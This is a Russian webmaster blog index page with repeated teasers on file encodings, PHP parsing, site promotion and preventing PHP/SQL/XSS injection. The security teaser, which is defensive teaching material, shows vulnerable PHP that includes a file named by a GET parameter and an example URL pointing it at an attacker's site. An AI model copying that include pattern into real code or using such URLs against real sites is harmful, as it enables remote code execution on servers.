Web МастерскаяБлог
Сообщество Web Мастеров. Тут собрано всё, чтобы написать свой первый сайт, запустить его в Интернет и поддерживать его в течении всей его работы.
Как определить кодировку файла
Есть много способов, которыми можно закодировать сообщение. При этом буквы преобразуются в различные символы. Но иногда, при заходе на веб-сайт, вы вместо привычных букв видите непонятные символы. Сегодня мы поговорим о способах определения кодировки файла.
Сделать это можно с помощью онлайн-декодера. Главным образом он служит для распознавания электронных писем. После того, как вы открыли декодер, скопируйте нужный вам текст в буфер обмена. Далее вставляет текст в поле декодера и нажимаем «расшифровать», после чего в поле должен появиться расшифрованный текст, а ниже исходная кодировка и кодировка, в которую был перекодирован текст.
Декодировать текст можно с помощью специальной программы, например, Tcode. Можете воспользоваться функцией «открыть файл» или вставить текст из кодированного файла. Нажимаем «перекодировать» и текст должен будет преобразоваться в нужную кодировку. В строке состояния будет показана исходная кодировка. Там же можно посмотреть процент распознания символов.
Пос...
Сделать это можно с помощью онлайн-декодера. Главным образом он служит для распознавания электронных писем. После того, как вы открыли декодер, скопируйте нужный вам текст в буфер обмена. Далее вставляет текст в поле декодера и нажимаем «расшифровать», после чего в поле должен появиться расшифрованный текст, а ниже исходная кодировка и кодировка, в которую был перекодирован текст.
Декодировать текст можно с помощью специальной программы, например, Tcode. Можете воспользоваться функцией «открыть файл» или вставить текст из кодированного файла. Нажимаем «перекодировать» и текст должен будет преобразоваться в нужную кодировку. В строке состояния будет показана исходная кодировка. Там же можно посмотреть процент распознания символов.
Пос...
- Жалоба
Как предотвратить PHP, SQL и XSS инъекции (Безопасность)
Я конечно не супер-профессионал по безопасности, но некоторые познания в области безопасности php скриптов есть. Итак, часто встречающиеся дыры в php скриптах:
- PHP инъекция.
- SQL инъекция.
- XSS.
Вот про борьбу с этими уязвимостями и пойдёт речь. Статей по безопасности конечно уйма, но всё же, внесу и свою лепту.
Что же это такое PHP-инъекция?
PHP-инъекция - способ взлома сайта путём выполнения на сайте стороннего PHP кода. Например, вы хотите подключить необходимый файл, в зависимости от параметра, пришедшего из GET:
Если ввести такой URL:
- PHP инъекция.
- SQL инъекция.
- XSS.
Вот про борьбу с этими уязвимостями и пойдёт речь. Статей по безопасности конечно уйма, но всё же, внесу и свою лепту.
Что же это такое PHP-инъекция?
PHP-инъекция - способ взлома сайта путём выполнения на сайте стороннего PHP кода. Например, вы хотите подключить необходимый файл, в зависимости от параметра, пришедшего из GET:
# Получаем имя файла
$action = isset($_GET['action']) ? $_GET['action'] : null;
# Тут какие-то действия
# ...
# Подключаем файл
include($action);Если ввести такой URL:
http://ваш_сайт/ваш_файл.php?action=http://сайт_взломщика/файл то, если в файле php.ini на вашем сервере включена директива allow_url_include, злоумышленник может внести код, который хочет выполнить на вашем сайте, в тот файл, на который он указал ссылку и код успешно выполнится на вашем...Быстрое копирование информации с Web-страницы (Парсинг на PHP)
Заметил, что на форумах часто задают вопросы про парсинг сайтов. Решил написать небольшую статью, в которой попытаюсь объяснить азы парсинга и привести некоторые примеры работы с ним.
Итак, начнём с самого начала.
Что такое парсинг? Это слово является переведенным, а вернее просто написанным на кириллице (как это часто встречается в интернете) словом из английского языка "parsing". Оно переводится с английского как "разбор". Т.е. парсинг - это анализ и разбор какой-либо web-страницы с целью получения информации, содержащейся на ней.
Можно подумать: а зачем вообще нужно получать информацию с web-страницы таким способом? Приведу пример: допустим, Вам нужна база данных MySQL с марками и моделями автомобилей (недавно как раз мне пришлось писать парсер именно для этого). Как Вам её получить? Есть два варианта. Первый - это купить такую базу у человека, у которого она есть. Второй - составить её самому.
Если Вас устраивает первый вариант - Вы, не тратя время, покупаете её и всё. Вот так...
Итак, начнём с самого начала.
Что такое парсинг? Это слово является переведенным, а вернее просто написанным на кириллице (как это часто встречается в интернете) словом из английского языка "parsing". Оно переводится с английского как "разбор". Т.е. парсинг - это анализ и разбор какой-либо web-страницы с целью получения информации, содержащейся на ней.
Можно подумать: а зачем вообще нужно получать информацию с web-страницы таким способом? Приведу пример: допустим, Вам нужна база данных MySQL с марками и моделями автомобилей (недавно как раз мне пришлось писать парсер именно для этого). Как Вам её получить? Есть два варианта. Первый - это купить такую базу у человека, у которого она есть. Второй - составить её самому.
Если Вас устраивает первый вариант - Вы, не тратя время, покупаете её и всё. Вот так...
Как привлечь посетителей на сайт?
Сейчас это самый актуальный вопрос для всех владельцев сайтов. Ведь все они столкнулись с одной проблемой — создать красивый и функциональный сервер еще не достаточно, чтобы его все читали. Ведь главная задача состоит в том, чтобы его читали, на него заходили, пользовались им, как привычным.
Привлечение посетителей — главная цель, достичь которую можно следующими способами.
Поисковики или поисковые системы. Продвигать материал с помощью поисковых систем — самый дешевый и популярные метод, однако, здесь может возникнуть множество проблем и вопросов. Здесь нужно обладать навыками в продвижении по SEO. Главным плюсом такого привлечения является то, что посетители думают, что они сами нашли ваш сайт, что вызывает доверие, а значит, постоянных пользователей.
Каталоги. Первым шагом к раскрутке сайта является прописка его в Интернет каталоге. Для этого стоит определить направление и тематику вашего сайта. Здесь же можно подать объявление о сайт, однако здесь стоит разбираться какие доски...
Привлечение посетителей — главная цель, достичь которую можно следующими способами.
Поисковики или поисковые системы. Продвигать материал с помощью поисковых систем — самый дешевый и популярные метод, однако, здесь может возникнуть множество проблем и вопросов. Здесь нужно обладать навыками в продвижении по SEO. Главным плюсом такого привлечения является то, что посетители думают, что они сами нашли ваш сайт, что вызывает доверие, а значит, постоянных пользователей.
Каталоги. Первым шагом к раскрутке сайта является прописка его в Интернет каталоге. Для этого стоит определить направление и тематику вашего сайта. Здесь же можно подать объявление о сайт, однако здесь стоит разбираться какие доски...
Как привлечь новых пользователей на сайт
Для многих интернет-ресурсов всегда будет актуален вопрос: как привлечь на портал новых посетителей и сохранить старых? Именно об этом сегодня и пойдёт речь. Но надо учесть, что помимо привлечения новичков, никогда не надо забывать о постоянных посетителей сайта. Так как их уход — это прямые убытки, а для того, чтобы оставить их на сайте требуется затратить гораздо меньше ресурсов. Кроме того, методы, которыми вы привлекаете новых клиентов, могут помочь вам удержать старых. Конечно, основным методом привлечения клиентов является реклама. Её можно давать на ресурсах со схожей тематикой, размещать баннеры на популярных форумах и порталах. Виды данной рекламы ограничиваются лишь вашим изображением.
Если на вашем сайте есть контент или раздел с новостями, то его нужно регулярно обновлять. Постоянно нужно добавлять новые статьи, рецензии, интервью. На ваш сайт должны регулярно заходить люди за новой порцией контента, тем более, если он качественный. Поэтому, регулярно обновляя сайт, вы...
Если на вашем сайте есть контент или раздел с новостями, то его нужно регулярно обновлять. Постоянно нужно добавлять новые статьи, рецензии, интервью. На ваш сайт должны регулярно заходить люди за новой порцией контента, тем более, если он качественный. Поэтому, регулярно обновляя сайт, вы...
Категории
- Apache 6
- CMS 3
- CSS 25
- FTP 1
- HTML 16
- JavaScript 46
- Nginx 15
- PHP 52
- phpMyAdmin 2
- SEO 7
- SQL 17
- SVG 10
- URL 1
- XML 3
- Безопасность 8
- Библиотека JS 18
- Графика 2
- Инструкция 1
- Кодировка 2
- Контент 11
- Мнение 4
- Монетизация сайта 1
- Настройка 3
- Ошибка 13
- Поисковая система 2
- Продвижение сайта 5
- Производительность 3
- Прочее 1
- Софт 1
- Старт 1
- Сценарий 1
- Функция 1
- Хостинг | Сервер 2
Реклама














